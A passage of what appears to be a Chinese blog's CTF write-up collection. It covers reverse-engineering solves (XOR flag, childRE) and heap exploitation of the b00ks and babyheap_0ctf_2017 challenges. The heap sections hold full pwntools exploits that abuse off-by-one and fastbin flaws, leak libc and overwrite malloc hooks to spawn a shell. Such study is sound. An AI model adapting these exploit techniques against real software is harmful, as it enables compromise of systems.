are `flag`\n\n   可以猜测v1的四个BYTE与byte_6CC0A0的前四个异或后结果应该分别位‘f’、’l’、‘a’、‘g’\n    以此获得v1之后再做第二个for循环运算得到结果:\nchar k[] = { 0x40, 0x35, 0x20, 0x56, 0x5D, 0x18, 0x22, 0x45, 0x17, 0x2F, 0x24,0x6E, 0x62, 0x3C, 0x27, 0x54, 0x48, 0x6C, 0x24, 0x6E, 0x72, 0x3C,0x32, 0x45, 0x5B };BYTE f[4];f[0] = 0x66 ^ k[0];f[1] = 108 ^ k[1];f[2] = 97 ^ k[2];f[3] = 0x67 ^ k[3];for (int i = 0; i <= 24; i++){k[i] ^= f[i % 4];}for (int i = 0; i <= 24; i++){cout << (char)k[i];}\n\n    从此得到flag\n    这次我该吸取的教训是:不要因为事情看起来复杂就认为考点不在这里 ​\n插画ID : 90097136\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"2019红帽杯 - childRE 分析与拓展","url":"/2021/07/01/2019%E7%BA%A2%E5%B8%BD%E6%9D%AFchildre-%E5%88%86%E6%9E%90%E4%B8%8E%E6%8B%93%E5%B1%95/","content":"​\n        十分特殊也有趣的一题,特此记录。流程并非难以理解,但有些需要注意的点。\n        无壳,可以直接用IDA分析,但由于存在一些动态变量,一旦开始动调,代码将会变得更难理解,因此目前只用静态调试来审计\nint __cdecl main(int argc, const char **argv, const char **envp){ __int64 v3; // rax __int64 v4; // rax const CHAR *v5; // r11 __int64 v6; // r10 int v7; // er9 const CHAR *v8; // r10 __int64 v9; // rcx __int64 v10; // rax int result; // eax unsigned int v12; // ecx __int64 v13; // r9 __int128 v14[2]; // [rsp+20h] [rbp-38h] BYREF v14[0] = 0i64; v14[1] = 0i64; sub_140001080("%s"); v3 = -1i64; do ++v3; while ( *((_BYTE *)v14 + v3) ); if ( v3 != 31 ) { while ( 1 ) Sleep(0x3E8u); } v4 = sub_140001280(v14); v5 = name; if ( v4 ) { sub_1400015C0(*(_QWORD *)(v4 + 8)); sub_1400015C0(*(_QWORD *)(v6 + 16)); v7 = dword_1400057E0; v5[dword_1400057E0] = *v8; dword_1400057E0 = v7 + 1; } UnDecorateSymbolName(v5, outputString, 0x100u, 0); v9 = -1i64; do ++v9; while ( outputString[v9] ); if ( v9 == 62 ) { v12 = 0; v13 = 0i64; do { if ( a1234567890Qwer[outputString[v13] % 23] != *(_BYTE *)(v13 + 0x140003478i64) ) _exit(v12); if ( a1234567890Qwer[outputString[v13] / 23] != *(_BYTE *)(v13 + 0x140003438i64) ) _exit(v12 * v12); ++v12; ++v13; } while ( v12 < 0x3E ); sub_140001020("flag{MD5(your input)}\\n"); result = 0; } else { v10 = sub_1400018A0(std::cout); std::ostream::operator<<(v10, sub_140001A60); result = -1; } return result;}\n\n\n         第57行是明显的显示验证结果,则能够判明第56行的while为判断条件的遍历;IDA将 ‘!=’ 后面的内容分析成地址而不是数组,但不妨碍提取数据\nchar fp[] = {"1234567890-=!@#$%^&*()_+qwertyuiop[]QWERTYUIOP{}asdfghjkl;'ASDFGHJKL:\\"ZXCVBNM<> ? zxcvbnm, . /"};//a1234567890Qwerchar tp[] = "(_@4620!08!6_0*0442!@186%%0@3=66!!974*3234=&0^3&1@=&0908!6_0*&";//0000000140003478char kp[] = "55565653255552225565565555243466334653663544426565555525555222";//0000000140003438\n\n\n        而outputString则是我们目前需要求取的数据,它只起到了索引的作用,逆算法不难写出:\nint main(){char fp[] = {"1234567890-=!@#$%^&*()_+qwertyuiop[]QWERTYUIOP{}asdfghjkl;'ASDFGHJKL:\\"ZXCVBNM<> ? zxcvbnm, . /"};char tp[] = "(_@4620!08!6_0*0442!@186%%0@3=66!!974*3234=&0^3&1@=&0908!6_0*&";//0000000140003478char kp[] = "55565653255552225565565555243466334653663544426565555525555222";//0000000140003438char output[64];for (int i = 0; i < 63; i++){output[i]=find(tp[i],kp[i],fp);}cout << output<<endl;}char find(char p1,char p2,char *p3){int index = 0;for (int i = 0; i < 95; i++){if (p3[i] == p1){index = i;break;}}while (p3[index/23]!=p2){index += 23;}return index;}//private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)t\n\n\n        结果是一个函数声明的字符串,试着将它md5后提交,发现错误,那么就需要继续往上读\n        那么跟踪outputString是从哪里获得的,能够来到第38行UnDecorateSymbolName函数\n\nUnDecorateSymbolName:https://docs.microsoft.com/en-us/windows/win32/api/dbghelp/nf-dbghelp-undecoratesymbolname\n\n        只靠阅读官方文档似乎不太足够,但第38行的大致意思是:完全取消对C++符号的修饰,也就是说,某个C++函数符号被取消修饰后,得到了\n\n“private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)t” \n\n        这样一个函数声明符号 \n        查阅一些文档之后才知道,C++中的符号在编译之后都会被修饰为另外一种样子\n\nhttps://www.cnblogs.com/yxysuanfa/p/6984895.html\nhttps://blog.csdn.net/Scl_Diligent/article/details/83990429\n\nint Max(int a, int b);//?Max@@YAHHH@Zdouble Max(int a, int b);//?Max@@YANHH@Zdouble Max1(int a, int b);//?Max1@@YANHH@Zdouble Max1(int a, double b);//?Max1@@YANHN@Z\n\n\n         我们通过上述代码定义的函数,在编译后都会形成如注释所示的那样的名称\n​\n        实际操作也验证了我们的想法,那么我们的工作就应该是找到这个经过修饰的名称字符串\n         根据上面给出的两位大佬总结的编译器名称修饰规则,以及我们已经得出的未修饰名称,可以写出确定的字符串:\n?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z\n\n\n        md5后提交发现还是不对,那就只能再往上读\n        第28行的函数有些复杂,可以暂时不看;第30~37中涉及了v5,这个v5应是我们输入的内容或是中间内容,也正是v5经过UnDecorateSymbolName变换得到了outputString\n        函数sub_1400015C0实际上是一个二叉树下序遍历\n        (我不确定是不是叫下序,总之就是自下往上的遍历方式)\n        如果不是因为最近正好遇到过类似的题目,可能我也没办法马上认出来,不过两层的递归查找其实也还算明显的;以及,就算不确定是否真是如此,也可以通过动态调试来确定是否为二叉树;并且,如果将其当作二叉树,sub_140001280函数便能够比较自然的想象为二叉树的生成\n​\n         上图是我根据下序遍历的规则手绘出的二叉树,然后再用上序遍历把字符串拼出来得到了flag\n        (可恶,好久没写过字了,本就难看的字写的更加难看了……)\n        直接把这个flag输入进去,程序提示正确,我们的猜想也就被验证了\n​\n         当然,实际操作中我们根本需要这样繁琐的去验证是否为二叉树\n        大可以通过动调将输入值改为\nABCDEFGHIJKLMNOPQ......\n\n\n        等比较好确定的有序的值,然后通过修改PC(程序计数器)跳过第23行的 if 判断,这样就能用较短的数据量确定出实际结构了\n        但实际上,这为大佬也给出了另外一个比较简单的方法来算出置换后的结果:\n\nhttps://www.freesion.com/article/6515734088/\n\n         个人觉得这要比我手绘二叉树来得简单得多,供参考吧 ​\n插画ID:90581839\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"Asis CTF 2016 - b00ks —— Off-By-One利用与思考","url":"/2021/09/12/asis-ctf-2016-b00ks/","content":"​\n前言:      这道题做得有点痛苦……因为本地通常都很难和服务器有相同的环境,使用mmap开辟空间造成的偏移会因此而变得麻烦,并且free_hook周围很难伪造chunk,一度陷入恐慌……\n        不过本来应该很早就开始Off-By-One的学习的,竟然现在才注意到……惭愧\n正文:        book结构:\nstruct book{ int id; char *name; char *description; int size;}\n\n\n        程序具体的流程不做赘述,主要漏洞点出在sub_9F5函数中:\n__int64 __fastcall sub_9F5(_BYTE *a1, int a2){ int i; // [rsp+14h] [rbp-Ch] if ( a2 <= 0 ) return 0LL; for ( i = 0; ; ++i ) { if ( read(0, a1, 1uLL) != 1 ) return 1LL; if ( *a1 == '\\n' ) break; ++a1; if ( i == a2 ) break; } *a1 = 0; return 0LL;}\n\n\n         i是从0开始计数的,假设输入a2=32,那么将会通过read读取32个字符,而在++a1之后,让第33个字符的位置被“\\x00”覆盖,从而造成该漏洞\n第一种方法:mmap拓展        该方法实用性似乎不是很高,主要的利用思路是:mmap开辟出的块与libc基址的偏移是固定的,因此只要拿到mmap开辟出的chunk的地址,就能通过一个“固定的偏移”得到libc\n        但这个偏移会因为不同的系统、不同的libc版本种种原因而发生偏差\n        笔者使用Ubuntu16的系统得出偏移后,成功在本地拿到了shell,但服务器那边却没能成功\n        也试着从其他师傅的wp里获取,但似乎因为BUU过去的系统升级等原因,那些偏移也没能成功,最后使用的是第二种方法拿到了服务端的shell,但其方法还是值得学习的,并且主要的思路同第二种方法是相同的\n.data:0000000000202010 off_202010 dq offset unk_202060 ; DATA XREF: sub_B24:loc_B38↑o.data:0000000000202010 ; sub_BBD:loc_C1B↑o ....data:0000000000202018 off_202018 dq offset unk_202040 ; DATA XREF: sub_B6D+15↑o.data:0000000000202018 ; sub_D1F+CA↑o\n\n\n         IDA中可以看见名字与书的地址分布\n        二者相距很近,name为unk_202040,而book结构的的地址为unk_202060,因此,如果名字长达32字节,就能够泄露出第一个book结构的地址\n        同时,也因为上面所说的Off-By-One漏洞,我们甚至能将该book结构的最后一位置0\n        因此如果这样去设定:\ncreatename("a"*32)createbook(0xD0,"object1",0x20,"object2")createbook(0x21000, '/bin/sh', 0x21000, '/bin/sh')\n\n\ngdb-peda$ x /10gx 0x55da227e60400x55da227e6040:0x61616161616161610x61616161616161610x55da227e6050:0x61616161616161610x61616161616161610x55da227e6060:0x000055da231941300x000055da231941600x55da227e6070:0x00000000000000000x00000000000000000x55da227e6080:0x00000000000000000x0000000000000000\n\n\n         接下来如果我们打印出内容,就会把地址0x000055da23194130泄露出来\n        并且,因为堆的初始化是按页对齐的,而该程序的生成规律是:name——>des——>book\n        因此,设计好每个chunk的大小,那么当我们覆盖book的最后一个字节时,就能让其指向des\ngdb-peda$ x /10gx 0x000055da231941300x55da23194130:0x00000000000000010x000055da231940200x55da23194140:0x000055da231941000x0000000000000020\n\n\n        0x000055da23194100即为des,和book结构地址只有最低位不同\n        而des结构是我们可以任意写的,如果我们将其伪造成book结构,让这个fake book的des指向我们想要写的位置,那么我们就能达成任意地址写了\n        但话虽如此,我们还不知道应该往哪写\n        基本的想法是覆盖__free_hook或者__malloc_hook为system或one gadget\n        那么我们还需要泄露libc基址:\nbook1_addr = u64(book_author[32:32+6].ljust(8,'\\x00'))log.success("book1_address:" + hex(book1_addr))payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)editbook(book_id_1, payload)changename("a"*32)book_id_2, book_name_2, book_des_2, book_author_2 = printbook(1)leak_addr=u64(book_name_2.ljust(8,'\\x00'))log.success("leak_addr:" + hex(leak_addr)) # [+] leak_addr:0x7f5e8d2c4010libc_base=leak_addr+ (0x00007f5e8cd12000 - 0x7f5e8d2c4010)log.success("libc_base:" + hex(libc_base))\n\n\n         我们可以根据堆的开辟顺序得到book2的地址,然后将book1的name和des指向book2的name和des\n        此时如果再打印所有book,book1的name就会泄露出book而name块的地址,而name块是通过mmap开辟而来\n0x00007f5e8cd12000 0x00007f5e8ced2000 r-xp/lib/x86_64-linux-gnu/libc-2.23.so0x00007f5e8ced2000 0x00007f5e8d0d2000 ---p/lib/x86_64-linux-gnu/libc-2.23.so0x00007f5e8d0d2000 0x00007f5e8d0d6000 r--p/lib/x86_64-linux-gnu/libc-2.23.so0x00007f5e8d0d6000 0x00007f5e8d0d8000 rw-p/lib/x86_64-linux-gnu/libc-2.23.so0x00007f5e8d0d8000 0x00007f5e8d0dc000 rw-pmapped\n\n\n        最后只需要将__free_hook写为system,然后把book2删除即可拿到shell\n        因为此时book1的des指向book2的des处,将该处改为__free_hook地址,那么写book2的des时就会往__free_hook处写入:\nsystem=libc_base+libc.symbols['system']free_hook=libc_base+libc.symbols['__free_hook']payload=p64(free_hook)editbook(1, payload)payload=p64(system)editbook(2, payload)deletebook(2)\n\n\n       完整exp如下:\nfrom pwn import *context.log_level = 'info'binary = ELF("b00ks")libc=binary.libcio = process("./b00ks")def createbook(name_size, name, des_size, des): io.readuntil("> ") io.sendline("1") io.readuntil(": ") io.sendline(str(name_size)) io.readuntil(": ") io.sendline(name) io.readuntil(": ") io.sendline(str(des_size)) io.readuntil(": ") io.sendline(des)def printbook(id): io.readuntil("> ") io.sendline("4") io.readuntil(": ") for i in range(id): book_id = int(io.readline()[:-1]) io.readuntil(": ") book_name = io.readline()[:-1] io.readuntil(": ") book_des = io.readline()[:-1] io.readuntil(": ") book_author = io.readline()[:-1] return book_id, book_name, book_des, book_authordef createname(name): io.readuntil("name: ") io.sendline(name)def changename(name): io.readuntil("> ") io.sendline("5") io.readuntil(": ") io.sendline(name)def editbook(book_id, new_des): io.readuntil("> ") io.sendline("3") io.readuntil(": ") io.writeline(str(book_id)) io.readuntil(": ") io.sendline(new_des)def deletebook(book_id): io.readuntil("> ") io.sendline("2") io.readuntil(": ") io.sendline(str(book_id))createname("a"*32)createbook(0xD0,"object1",0x20,"object2")createbook(0x21000, '/bin/sh', 0x21000, '/bin/sh')book_id_1, book_name, book_des, book_author = printbook(1)book1_addr = u64(book_author[32:32+6].ljust(8,'\\x00'))log.success("book1_address:" + hex(book1_addr))payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)editbook(book_id_1, payload)changename("a"*32)book_id_2, book_name_2, book_des_2, book_author_2 = printbook(1)leak_addr=u64(book_name_2.ljust(8,'\\x00'))log.success("leak_addr:" + hex(leak_addr))libc_base=leak_addr+ (0x00007f5e8cd12000 - 0x7f5e8d2c4010)log.success("libc_base:" + hex(libc_base))system=libc_base+libc.symbols['system']free_hook=libc_base+libc.symbols['__free_hook']payload=p64(free_hook)editbook(1, payload)payload=p64(system)editbook(2, payload)deletebook(2)io.interactive()\n\n         这是本地能够通过的方法,但受限于不能拿到服务端那边的偏移,所以只能在本地通过\n第二种方法:        另外一种泄露方式,也是笔者成功在服务端那边打通的exp\n        其泄露libc基址的方法与第一种不同,通过unsorted bin中的fd指针泄露\np.sendlineafter('name: ','a'*0x1f+'b')add(0xd0,'aaaaaaaa',0x20,'bbbbbbbb')show()p.recvuntil('aaab')heap_addr = u64(p.recv(6).ljust(8,'\\x00'))print 'heap_addr-->'+hex(heap_addr)add(0x80,'cccccccc',0x60,'dddddddd')add(0x10,'/bin/sh',0x10,'/bin/sh')delete(2)edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90)+p64(0x20))change('a'*0x20)show()libc_base = u64(p.recvuntil('\\x7f')[-6:].ljust(8,'\\x00'))-88-0x10-libc.symbols['__malloc_hook']\n\n\n         同样的方法泄露book1的地址,然后伪造book结构\n        其中,heap_addr+0x30这个地址将会指向被删除的book2处的fd指针地址,由此泄露libc基址\n        这种方法泄露的地址不依赖于系统,arena的基址有固定的计算方式,使用常规的2.23版本libc即可拿到正确基址(虽然本题没有提供libc,但BUU里大多2.23的libc都是同一个,直接拿过来用就行了)\n        参考文章中,“不会修电脑”师傅是通过FastBin Attack来拿shell,但笔者这里还是同第一种方法一样,直接复写__free_hook即可\n        完整exp:\nfrom pwn import *#p=remote("node4.buuoj.cn",26109)p = process(['./b00ks'],env={"LD_PRELOAD":"./libc.so.6"})elf = ELF('./b00ks')libc = ELF("./libc.so.6")context.log_level = 'info'def add(name_size,name,content_size,content): p.sendlineafter('> ','1') p.sendlineafter('size: ',str(name_size)) p.sendlineafter('chars): ',name) p.sendlineafter('size: ',str(content_size)) p.sendlineafter('tion: ',content)def delete(index): p.sendlineafter('> ','2') p.sendlineafter('delete: ',str(index))def edit(index,content): p.sendlineafter('> ','3') p.sendlineafter('edit: ',str(index)) p.sendlineafter('ption: ',content)def show(): p.sendlineafter('> ','4')def change(author_name): p.sendlineafter('> ','5') p.sendlineafter('name: ',author_name)p.sendlineafter('name: ','a'*0x1f+'b')add(0xd0,'aaaaaaaa',0x20,'bbbbbbbb')show()p.recvuntil('aaab')heap_addr = u64(p.recv(6).ljust(8,'\\x00'))print 'heap_addr-->'+hex(heap_addr)add(0x80,'cccccccc',0x60,'dddddddd')add(0x20,'/bin/sh',0x20,'/bin/sh')delete(2)edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x180+0x50)+p64(0x20))change('a'*0x20)show()libc_base = u64(p.recvuntil('\\x7f')[-6:].ljust(8,'\\x00'))-88-0x10-libc.symbols['__malloc_hook']__malloc_hook = libc_base+libc.symbols['__malloc_hook']realloc = libc_base+libc.symbols['realloc']print 'libc_base-->'+hex(libc_base)__free_hook=libc_base+libc.symbols['__free_hook']system=libc_base+libc.symbols['system']edit(1,p64(__free_hook)+'\\x00'*2+'\\x20')print '__free_hook-->'+hex(__free_hook)edit(3,p64(system))delete(3)p.interactive()\n\n\n​\n第三法:         这里是指通过Fast Bin Attack来写hook\n        但这种方法通常都很难精确地覆写,只能在目标附近寻址合适的位置伪造chunk\n        笔者在尝试该方法时遇到了比较特别的问题,特此记录一下\n        首先需要泄露libc基址,泄露方法同第二种方法完全一样,通过fd指针拿到了libc base,此时的bins内容为:\nfastbins0x20: 0x00x30: 0x55a691fe2250 ◂— 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x55a691fe21e0 ◂— 0x00x80: 0x0unsortedbinall: 0x55a691fe2150 —▸ 0x7fc45e171b78 (main_arena+88) ◂— 0x55a691fe2150\n\n\n        留意下述的地址,我们是能够在__free_hook周围找到一个能够用以伪造chunk的位置的\ngdb-peda$ p &__free_hook$1 = (void (**)(void *, const void *)) 0x7fc45e1737a8 <__free_hook>gdb-peda$ x /10gx 0x7fc45e1737a8-0x130x7fc45e173795 <_IO_stdfile_0_lock+5>:0xc45e3827000000000x000000000000007f0x7fc45e1737a5 <__after_morecore_hook+5>:0x00000000000000000x00000000000000000x7fc45e1737b5 <__malloc_initialize_hook+5>:0x00000000000000000x00000000000000000x7fc45e1737c5 <narenas_limit.11257+5>:0x00000000000000000x00000000000000000x7fc45e1737d5 <aligned_heap_area+5>:0x00000000000000000x0000000000000000\n\n\n         那么,我们的目标就是将0x70: 0x55a691fe21e0的fd指向0x7fc45e1737a8-0x13就能成功伪造了,然后覆盖__free_hook为system即可\n 但笔者经过测试之后发现,这种方法是不可行的\n        尽管此刻,我们能够找到合适的位置伪造chunk,但当我们成功使用edit功能复写之后,这里将会被置零\nfastbins0x20: 0x00x30: 0x55a691fe2250 ◂— 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x55a691fe21e0 —▸ 0x7fc45e173795 <_IO_stdfile_0_lock+5> ◂— 0xc45de32ea00000000x80: 0x0unsortedbinall: 0x55a691fe2150 —▸ 0x7fc45e171b78 (main_arena+88) ◂— 0x55a691fe2150\n\ngdb-peda$ x /10gx 0x7fc45e1737a8-0x130x7fc45e173795 <_IO_stdfile_0_lock+5>:0x00000000000000000x00000000000000000x7fc45e1737a5 <__after_morecore_hook+5>:0x00000000000000000x00000000000000000x7fc45e1737b5 <__malloc_initialize_hook+5>:0x00000000000000000x00000000000000000x7fc45e1737c5 <narenas_limit.11257+5>:0x00000000000000000x00000000000000000x7fc45e1737d5 <aligned_heap_area+5>:0x00000000000000000x0000000000000000\n\n         可以注意到,此时,这里变得不再合适了\n        那么接下来在进行malloc的时候,将因为无法通过chunk size的检查导致程序直接crash\n      笔者目前不太清楚是什么原因导致了 _IO_stdfile_0_lock中的地址被清除了,若以后得知,到那时再做补充吧\n        提供的代替方案之一是:覆盖__malloc_hook为某个one_gadget,然后通过realloc调整栈帧,最后用malloc来获取shell\n        在该方案中,__malloc_hook附近始终都有适合用于伪造的位置,因此这个方法是可以成立的,笔者也同样在该方法中拿到了shell,具体的exp请参照参考文章第二篇 ​\n参考文章:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/off-by-one/#_1\nhttps://www.cnblogs.com/bhxdn/p/14293978.html\n插画ID:91452046\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"FastBinAttack实战 - babyheap_0ctf_2017","url":"/2021/08/09/babyheap-0ctf-2017/","content":"​\n分析利用:        无壳,IDA打开后可以看出题目是基本的增删与展示(函数名为方便阅读而修改)\n__int64 __fastcall main(__int64 a1, char **a2, char **a3){ char *v4; // [rsp+8h] [rbp-8h] v4 = initMmapList(); while ( 1 ) { Menu(); switch ( getInput() ) { case 1LL: Allocate(v4); break; case 2LL: Fill(v4); break; case 3LL: Free(v4); break; case 4LL: Dump((__int64)v4); break; case 5LL: return 0LL; default: continue; } }}\n\n\n        v4通过mmap分配了“一条链表”,但通过Allocate函数可以知道,实际的储存结构是类似chunk似的结构体:\n00000000 size_t InUse00000008 size_t Size00000010 size_t content\n\n\n         每次Allocate都会遍历v4链表的每个InUse位,如果该位置0,就表示这个索引没有被使用,就会将该位置1,然后根据Size调用calloc,将返回值赋给content\n        然后可以看看Free函数:\n__int64 __fastcall Free(__int64 a1){ __int64 result; // rax int v2; // [rsp+1Ch] [rbp-4h] printf("Index: "); result = getInput(); v2 = result; if ( (int)result >= 0 && (int)result <= 15 ) { result = *(unsigned int *)(24LL * (int)result + a1); if ( (_DWORD)result == 1 ) { *(_DWORD *)(24LL * v2 + a1) = 0; *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL; free(*(void **)(24LL * v2 + a1 + 16)); result = 24LL * v2 + a1; *(_QWORD *)(result + 16) = 0LL; } } return result;}\n\n\n        由于free之后将指针全都清零了,所以指针复用在这里不太行\n        然后是Fill函数:\n__int64 __fastcall Fill(__int64 a1){ __int64 result; // rax int v2; // [rsp+18h] [rbp-8h] int v3; // [rsp+1Ch] [rbp-4h] printf("Index: "); result = getInput(); v2 = result; if ( (int)result >= 0 && (int)result <= 15 ) { result = *(unsigned int *)(24LL * (int)result + a1); if ( (_DWORD)result == 1 ) { printf("Size: "); result = getInput(); v3 = result; if ( (int)result > 0 ) { printf("Content: "); result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3); } } } return result;}\n\n\n         可以看到,该函数没有限制我们的输入,因此我们可以让content开辟过大的chunk来达成堆溢出\n        最后是Dump:\nint __fastcall Dump(__int64 a1){ int result; // eax int v2; // [rsp+1Ch] [rbp-4h] printf("Index: "); result = getInput(); v2 = result; if ( result >= 0 && result <= 15 ) { result = *(_DWORD *)(24LL * result + a1); if ( result == 1 ) { puts("Content: "); sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8)); result = puts(byte_14F1); } } return result;}\n\n\n         没有什么可用点,但我们可以用来泄露地址\n        我们最终的目的是修改malloc_hook或者free_hook的地址为某个one_gadget\n        为此我们需要泄露libc基址、通过伪造fake_chunk来向hook附近通过Fill函数填充溢出覆盖\n        Unsorted Bin双向链表能够将表头放入fd指针,通过Dump就能够泄露出库函数地址\n如下过程参考CTF-WIKI:\n        首先需要泄露libc基址,为此我们需要通过Unsorted Bin获取fd指针,因此需要构造指针复用的情况,将两个索引的content指针指向同一个chunk\n        适当开辟几个符合Fast Bin的chunk(不一定要像笔者这样,指需理解思路即可),idx4作为泄露基地址的chunk,idx 0用于通过堆溢出来复写idx 1,idx 3来复写 idx4\n        然后用Free函数构成Fast Bin链表 idx1—>idx2\nallocate(0x10) #idx 0allocate(0x10) #idx 1allocate(0x10) #idx 2allocate(0x10) #idx 3allocate(0x80) #idx 4free(2)free(1)\n\n\n        因为每个堆都是按页对齐的,所以如果将idx 1的fd指针的最后一个字节指向0x80就会指向idx 4,由此构造出Fast Bin链 idx1—>idx 4\n        由于Fast Bin有chunk块大小检查,所以将idx 4的size复写为与idx 1相同来绕过检查\npayload='a'*0x10+p64(0)+p64(0x21)+p8(0x80)fill(0,payload)payload='a'*0x10+p64(0)+p64(0x21)fill(3,payload)\n\n\n        Fast Bin为LIFO,接下来再重新开辟会idx 1和idx 2,然后再将idx 4的size修改回去\nallocate(0x10) #idx 1allocate(0x10) #idx 2payload='a'*0x10+p64(0)+p64(0x91)fill(3,payload)\n\n\n        此时,idx 2和idx 4的content指向了同一个地址,只要我们将idx 4释放掉,该chunk就会被放入Unsorted Bin,并增加fd指针,然后再Dump出idx 2即可泄露libc基址(不过需要先开辟idx 5以放置idx 4和Top chunk合并)\nallocate(0x100) #idx 5free(4)dump(2)p.recvuntil('Content: \\n')unsortedbin_addr=u64(p.recv(8))print hex(unsortedbin_addr)main_arena_offset=0x3c4b20def offset_bin_main_arena(idx):word_bytes = context.word_size / 8offset = 4 # lockoffset += 4 # flagsoffset += word_bytes * 10 # offset fastbinoffset += word_bytes * 2 # top,last_remainderoffset += idx * 2 * word_bytes # idxoffset -= word_bytes * 2 # return offsetunsortedbin_offset_main_arena = offset_bin_main_arena(0)main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arenalibc_base = main_arena_addr - main_arena_offsetprint hex(libc_base)\n\n\n        main_arena_offset是写在每个libc中的固定值\n        有师傅写过获取的脚本项目:https://github.com/bash-c/main_arena_offset\n        unsortedbin_offset_main_arena这些值也都有固定的计算方式\n        因此现在已经泄露出了libc基址\n        然后现在将放在Unsorted Bin中的idx 4开辟回来,但我们只开辟0x70的空间,剩下的0x20将被放回Unsorted Bin,而接下来释放idx 4又将其放入Fast Bin\nallocate(0x60)free(4)\n\n\n        接下来我们使用gdb附加调试来寻找可以伪造fake_chunk的地方:\ngdb-peda$ x /10gx &__malloc_hook-60x7f03f6128ae0 <_IO_wide_data_0+288>:0x00000000000000000x00000000000000000x7f03f6128af0 <_IO_wide_data_0+304>:0x00007f03f61272600x00000000000000000x7f03f6128b00 <__memalign_hook>:0x00007f03f5de9ea00x00007f03f5de9a700x7f03f6128b10 <__malloc_hook>:0x00000000000000000x00000000000000000x7f03f6128b20 <main_arena>:0x00000000000000000x0000000000000000\n\n\n        (不知道是gdb还是pwndbg的原因,竟然能直接这样查看到地址……)\n        我们可以发现0x7f这个数字比较适合被当作fake_chunk的Size ,于是我们将这个这个fake_chunk复写到idx 4的fd指针\nfake_chunk=main_arena_addr-0x33print hex(fake_chunk)fakechunk=p64(fake_chunk)fill(2,fakechunk)\n\n\n        然后用allocate将fake_chunk开辟回来,现在就能通过填充idx 6来溢出到malloc_hook了,然后再调用malloc即可拿到shell\nallocate(0x60) #idx 4allocate(0x60) #idx 6one_garget=0x4526a+libc_basepayload='a'*(0x13)+p64(one_garget)fill(6,payload)allocate(0x100)\n\n\n        但值得注意的是,这道题在于2017年的0ctf上的赛题,在当时使用 libc2.23-0ubuntu11.2版本的共享库,但时至今日,Ubuntu16已经不再使用该版本,而是使用libc2.23-0ubuntu11.3版本共享库,而buu上也使用前者版本\n        因此笔者使用libc2.23-0ubuntu11.3中得到的one_gadget虽然在本地拿到了shell,但在远程服务器上却只能通过一些以前的wp来获取当时版本的one_gadget,这里记一下比较常用的\nog1=[0x45216,0x4526a,0xf02a4,0xf1147] #libc2.23-0ubuntu11.3og2=[0x45226,0x4527a,0xf0364,0xf1207] #libc2.23-0ubuntu11.2\n\n\n完整exp:from pwn import *context.log_level='debug'context.os='linux'context.arch='amd64'p=process('./babyheap_0ctf_2017')#p=remote("node4.buuoj.cn",27641)elf=ELF('./babyheap_0ctf_2017')libc=elf.libcdef cmd(x):p.sendlineafter('Command:',str(x))def allocate(size):cmd(1)p.sendlineafter('Size:',str(size))def fill(index,content):cmd(2)p.sendlineafter('Index:',str(index))p.sendlineafter('Size:',str(len(content)))p.sendlineafter('Content:',content)def free(index):cmd(3)p.sendlineafter('Index:',str(index))def dump(index):cmd(4)p.sendlineafter("Index:",str(index))def offset_bin_main_arena(idx):word_bytes = context.word_size / 8offset = 4 # lockoffset += 4 # flagsoffset += word_bytes * 10 # offset fastbinoffset += word_bytes * 2 # top,last_remainderoffset += idx * 2 * word_bytes # idxoffset -= word_bytes * 2 # return offsetallocate(0x10)allocate(0x10)allocate(0x10)allocate(0x10)allocate(0x80)free(2)free(1)payload='a'*0x10+p64(0)+p64(0x21)+p8(0x80)fill(0,payload)payload='a'*0x10+p64(0)+p64(0x21)fill(3,payload)allocate(0x10)allocate(0x10)payload='a'*0x10+p64(0)+p64(0x91)fill(3,payload)allocate(0x100)free(4)dump(2)p.recvuntil('Content: \\n')unsortedbin_addr=u64(p.recv(8))print hex(unsortedbin_addr)main_arena_offset=0x3c4b20unsortedbin_offset_main_arena = offset_bin_main_arena(0)main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arenalibc_base = main_arena_addr - main_arena_offsetprint hex(libc_base)one_garget=0x4526a+libc_baseallocate(0x60)free(4)gdb.attach(p)fake_chunk=main_arena_addr-0x33print hex(fake_chunk)fakechunk=p64(fake_chunk)fill(2,fakechunk)allocate(0x60)allocate(0x60) #6payload='a'*(0x13)+p64(one_garget)fill(6,payload)allocate(0x100)p.interactive()\n\n ​\n插画ID:91746115\n","categories":["CTF题记","Note"],"tags":["CTF","glibc"]},{"title":"BUUCTF - Youngter-drive笔记与思考 (线程)","url":"/2021/04/30/buuctf-youngter-drive/","content":"插图ID: 89210183\nⅠ. 解题步骤(省略细节的描述)\nⅡ. 知识拓展(对各函数作用进行解释)\nⅠ.\n    如下为IDA分析得到的main函数。\n//main函数(主流程)int __cdecl main_0(int argc, const char **argv, const char **envp){ HANDLE v4; // [esp+D0h] [ebp-14h] HANDLE hObject; // [esp+DCh] [ebp-8h] sub_4110FF(); ::hObject = CreateMutexW(0, 0, 0); j_strcpy(Destination, &Source); hObject = CreateThread(0, 0, StartAddress, 0, 0, 0); v4 = CreateThread(0, 0, sub_41119F, 0, 0, 0); CloseHandle(hObject); CloseHandle(v4); while ( dword_418008 != -1 ) ; sub_411190(); CloseHandle(::hObject); return 0;}\n\n    sub_4110FF()函数作为输入,输入内容保存在 Source\n将Source内容复制到Destination\n    分别为 hObject 与 v4 各创建一个线程,并且前者中包括一个 StartAddress 函数,后者则包括 sub_41119F 函数\n    有一个特别的指需要注意:dword_418008 该值将分别在上述两个函数中变换,当前值为1D—-> 30\n    以及最后的 sub_411190 用于比较结果\n    